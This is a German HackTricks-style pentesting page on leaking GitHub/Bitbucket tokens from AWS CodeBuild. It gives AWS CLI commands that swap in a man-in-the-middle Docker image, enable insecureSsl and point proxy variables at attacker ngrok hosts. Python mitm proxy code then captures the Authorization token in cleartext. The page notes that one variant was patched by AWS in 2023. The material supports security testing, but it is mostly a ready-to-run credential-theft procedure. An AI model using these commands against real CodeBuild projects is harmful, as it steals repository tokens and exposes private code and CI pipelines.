# AWS Codebuild - Token Leakage
{{#include ../../../../banners/hacktricks-training.md}}
## Wiederherstellen von Github/Bitbucket konfigurierten Tokens
Zuerst überprüfen, ob es Quellanmeldeinformationen gibt, die Sie leaken könnten:
```bash
aws codebuild list-source-credentials
```
### Via Docker Image
Wenn Sie feststellen, dass die Authentifizierung zum Beispiel für Github im Konto festgelegt ist, können Sie **exfiltrieren** diesen **Zugang** (**GH-Token oder OAuth-Token**), indem Sie Codebuild dazu bringen, ein **bestimmtes Docker-Image** zu verwenden, um den Build des Projekts auszuführen.
Zu diesem Zweck könnten Sie **ein neues Codebuild-Projekt erstellen** oder die **Umgebung** eines bestehenden ändern, um das **Docker-Image** festzulegen.
Das Docker-Image, das Sie verwenden könnten, ist [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Dies ist ein sehr einfaches Docker-Image, das die **Umgebungsvariablen `https_proxy`**, **`http_proxy`** und **`SSL_CERT_FILE`** festlegt. Dies ermöglicht es Ihnen, den Großteil des Traffics des im **`https_proxy`** und **`http_proxy`** angegebenen Hosts abzufangen und das in **`SSL_CERT_FILE`** angegebene SSL-Zertifikat zu vertrauen.
1. **Erstellen und Hochladen Ihres eigenen Docker MitM-Images**
- Befolgen Sie die Anweisungen des Repos, um Ihre Proxy-IP-Adresse festzulegen und Ihr SSL-Zertifikat zu setzen und **das Docker-Image zu erstellen**.
- **SETZEN SIE NICHT `http_proxy`**, um keine Anfragen an den Metadaten-Endpunkt abzufangen.
- Sie könnten **`ngrok`** wie `ngrok tcp 4444` verwenden, um den Proxy auf Ihren Host zu setzen.
- Sobald Sie das Docker-Image erstellt haben, **laden Sie es in ein öffentliches Repo hoch** (Dockerhub, ECR...)
2. **Umgebung festlegen**
- Erstellen Sie ein **neues Codebuild-Projekt** oder **ändern** Sie die Umgebung eines bestehenden.
- Stellen Sie das Projekt so ein, dass es das **zuvor generierte Docker-Image** verwendet.
3. **Setzen Sie den MitM-Proxy auf Ihrem Host**
- Wie im **Github-Repo** angegeben, könnten Sie etwas wie Folgendes verwenden:
```bash
mitmproxy --listen-port 4444 --allow-hosts "github.com"
```
> [!TIP]
> Die **mitmproxy-Version, die verwendet wurde, war 9.0.1**, es wurde berichtet, dass dies mit Version 10 möglicherweise nicht funktioniert.
4. **Führen Sie den Build aus und erfassen Sie die Anmeldeinformationen**
- Sie können das Token im **Authorization**-Header sehen:
Dies könnte auch über die aws cli mit etwas wie
```bash
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}
## Json
# Start the build
aws codebuild start-build --project-name my-project2
```
### Via insecureSSL
**Codebuild**-Projekte haben eine Einstellung namens **`insecureSsl`**, die im Web verborgen ist und nur über die API geändert werden kann.\
Wenn Sie dies aktivieren, kann Codebuild sich mit dem Repository **verbinden, ohne das von der Plattform angebotene Zertifikat zu überprüfen**.
- Zuerst müssen Sie die aktuelle Konfiguration mit etwas wie:
```bash
aws codebuild batch-get-projects --name
```
- Dann können Sie mit den gesammelten Informationen die Projekteinstellungen **`insecureSsl`** auf **`True`** aktualisieren. Das folgende ist ein Beispiel für meine Aktualisierung eines Projekts, beachten Sie das **`insecureSsl=True`** am Ende (das ist das einzige, was Sie aus der gesammelten Konfiguration ändern müssen).
- Fügen Sie außerdem die Umgebungsvariablen **http_proxy** und **https_proxy** hinzu, die auf Ihr tcp ngrok zeigen, wie:
```bash
aws codebuild update-project --name \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
```
- Führen Sie dann das grundlegende Beispiel von [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) an dem Port aus, der durch die Proxy-Variablen (http_proxy und https_proxy) angegeben ist.
```python
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
- Schließlich klicken Sie auf **Build the project**, die **Anmeldeinformationen** werden **im Klartext** (base64) an den mitm-Port gesendet:
### ~~Via HTTP-Protokoll~~
> [!TIP] > **Diese Schwachstelle wurde von AWS irgendwann in der Woche des 20. Februar 2023 (ich glaube am Freitag) behoben. Ein Angreifer kann sie also nicht mehr ausnutzen :)**
Ein Angreifer mit **erhöhten Berechtigungen in über einem CodeBuild könnte das Github/Bitbucket-Token** leaken, das konfiguriert ist, oder wenn die Berechtigungen über OAuth konfiguriert wurden, das **temporäre OAuth-Token, das zum Zugriff auf den Code verwendet wird**.
- Ein Angreifer könnte die Umgebungsvariablen **http_proxy** und **https_proxy** zum CodeBuild-Projekt hinzufügen, die auf seine Maschine zeigen (zum Beispiel `http://5.tcp.eu.ngrok.io:14972`).
- Dann ändern Sie die URL des Github-Repos, um HTTP anstelle von HTTPS zu verwenden, zum Beispiel: `http://github.com/carlospolop-forks/TestActions`
- Dann führen Sie das grundlegende Beispiel von [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) an dem Port aus, der von den Proxy-Variablen (http_proxy und https_proxy) angegeben wird.
```python
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
- Klicken Sie als Nächstes auf **Projekt erstellen** oder starten Sie den Build über die Befehlszeile:
```sh
aws codebuild start-build --project-name
```
- Schließlich werden die **Anmeldeinformationen** im **Klartext** (base64) an den mitm-Port gesendet:
> [!WARNING]
> Jetzt kann ein Angreifer das Token von seiner Maschine aus verwenden, alle Privilegien auflisten, die es hat, und (miss)brauchen einfacher als die direkte Nutzung des CodeBuild-Dienstes.
{{#include ../../../../banners/hacktricks-training.md}}